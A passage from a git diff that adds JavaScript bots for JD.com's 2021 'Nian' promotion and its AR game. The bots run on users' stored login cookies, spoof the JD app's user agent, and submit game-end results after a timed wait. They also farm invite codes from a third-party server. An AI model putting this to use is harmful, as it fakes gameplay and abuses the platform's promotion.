console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function shareCodesFormatPk() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodesPk = []; + if ($.shareCodesPkArr[$.index - 1]) { + $.newShareCodesPk = $.shareCodesPkArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > pkInviteCodes.length ? (pkInviteCodes.length - 1) : ($.index - 1); + $.newShareCodesPk = pkInviteCodes[tempIndex].split('@'); + } + let readShareCodeRes = null + if (new Date().getUTCHours() >= 12) + readShareCodeRes = await readShareCodePk(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodesPk = [...new Set([...$.newShareCodesPk, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的PK好友${JSON.stringify($.newShareCodesPk)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + let shareCodesPK = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIANPK_SHARECODES) { + if (process.env.JDNIANPK_SHARECODES.indexOf('\n') > -1) { + shareCodesPK = process.env.JDNIANPK_SHARECODES.split('\n'); + } else { + shareCodesPK = process.env.JDNIANPK_SHARECODES.split('&'); + } + } + $.shareCodesPkArr = []; + if ($.isNode()) { + Object.keys(shareCodesPK).forEach((item) => { + if (shareCodesPK[item]) { + $.shareCodesPkArr.push(shareCodesPK[item]) + } + }) + } + console.log(`您提供了${$.shareCodesPkArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=88732f840b77821b345bf07fd71f609e6ff12f43`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max){ + let str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']; + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(let i=0; i>> 5] >>> 24 - e % 32 & 255); + return n +} + +function bytesToHex(t) { + for (var n = [], e = 0; e < t.length; e++) + n.push((t[e] >>> 4).toString(16)), + n.push((15 & t[e]).toString(16)); + return n.join("") +} + +function stringToBytes(t) { + t = unescape(encodeURIComponent(t)) + for (var n = [], e = 0; e < t.length; e++) + n.push(255 & t.charCodeAt(e)); + return n +} + +function bytesToWords(t) { + for (var n = [], e = 0, r = 0; e < t.length; e++, + r += 8) + n[r >>> 5] |= t[e] << 24 - r % 32; + return n +} +function getSign (t) { + t = stringToBytes(t) + var e = bytesToWords(t) + , i = 8 * t.length + , a = [] + , s = 1732584193 + , u = -271733879 + , c = -1732584194 + , f = 271733878 + , h = -1009589776; + e[i >> 5] |= 128 << 24 - i % 32, + e[15 + (i + 64 >>> 9 << 4)] = i; + for (var l = 0; l < e.length; l += 16) { + for (var p = s, g = u, v = c, d = f, y = h, m = 0; m < 80; m++) { + if (m < 16) + a[m] = e[l + m]; + else { + var w = a[m - 3] ^ a[m - 8] ^ a[m - 14] ^ a[m - 16]; + a[m] = w << 1 | w >>> 31 + } + var _ = (s << 5 | s >>> 27) + h + (a[m] >>> 0) + (m < 20 ? 1518500249 + (u & c | ~u & f) : m < 40 ? 1859775393 + (u ^ c ^ f) : m < 60 ? (u & c | u & f | c & f) - 1894007588 : (u ^ c ^ f) - 899497514); + h = f, + f = c, + c = u << 30 | u >>> 2, + u = s, + s = _ + } + s += p, + u += g, + c += v, + f += d, + h += y + } + return [s, u, c, f, h] +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_ar.js b/activity/jd_nian_ar.js new file mode 100644 index 0000000..1af4761 --- /dev/null +++ b/activity/jd_nian_ar.js @@ -0,0 +1,520 @@ +/* +京东炸年兽AR +活动时间:2021-1-18至2021-2-11 +地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽AR +0 9 * * * jd_nian_ar.js, tag=京东炸年兽AR, enabled=true + +================Loon============== +[Script] +cron "0 9 * * *" script-path=jd_nian_ar.js,tag=京东炸年兽AR + +===============Surge================= +京东炸年兽AR = type=cron,cronexp="0 9 * * *",wake-system=1,timeout=36000,script-path=jd_nian_ar.js + +============小火箭========= +京东炸年兽AR = type=cron,script-path=jd_nian_ar.js, cronexpr="0 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽AR'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if(JSON.stringify(process.env).indexOf('GITHUB')>-1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZ9_MZ8gByP7FZ368dN8oTZBwGieaH5HvtnvXuK1Epn_KK8yol8OYGw7h3M2j_PxSZvYA`, + `cgxZaDXWZPCmiUa2akPVmFMI27K6antJzucULQPYNim_BPEW1Dwd@cgxZdTXtIrPYuAqfDgSpusxr97nagU6hwFa3TXxnqM95u3ib-xt4nWqZdz8@cgxZdTXtIO-O6QmYDVf67KCEJ19JcybuMB2_hYu8NSNQg0oS2Z_FpMce45g@cgxZdTXtILiLvg7OAASp61meehou4OeZvqbjghsZlc3rI5SBk7b3InUqSQ0@cgxZdTXtIumO4w2cDgSqvYcqHwjaAzLxu0S371Dh_fctFJtN0tXYzdR7JaY` +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + await getHomeData() + if(!$.secretp) return + await getArInfo() + await getHomeData(true) + await showMsg() +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) + + if(info) { + message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` + } + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkCollectScore() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId:inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getArInfo() { + return new Promise(resolve => { + $.get(taskArGetUrl("arNianGetUser.do"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 200) { + const { level,gameNum,maxGameNum} = data.rv + $.level = level + $.maxLevel = 27 + console.log(`当前第${$.level}/${$.maxLevel}关`) + for(let i = gameNum;i { + $.post(taskArPostUrl("arNianStartGame.do", `level=${level}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + console.log(`游戏开启成功,等待20秒完成`) + await $.wait(28*1000) + await arEnd(level,data.rv.random) + } + else{ + console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function arEnd(level,random) { + return new Promise(resolve => { + $.post(taskArPostUrl("arNianEndGame.do", `random=${random}&type=1&level=${level}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + const { level, maxLevel} = data.rv + $.level = level + $.maxLevel = maxLevel + console.log(`游戏完成成功,获得${data.rv.winAward + data.rv.firstWin}🧨,通关情况:${level}/${maxLevel}`) + } + else{ + console.log(`游戏开启失败,错误:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function taskArGetUrl(function_id) { + let url = `https://arvractivity.jd.com/nian/${function_id}`; + return { + url, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' + } + } +} +function taskArPostUrl(function_id, body = '') { + let url = `https://arvractivity.jd.com/nian/${function_id}`; + return { + url, + body: body, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2ZUbtdUfe8ZTyCQrVecyjdNehHpL/index.html' + } + } +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": 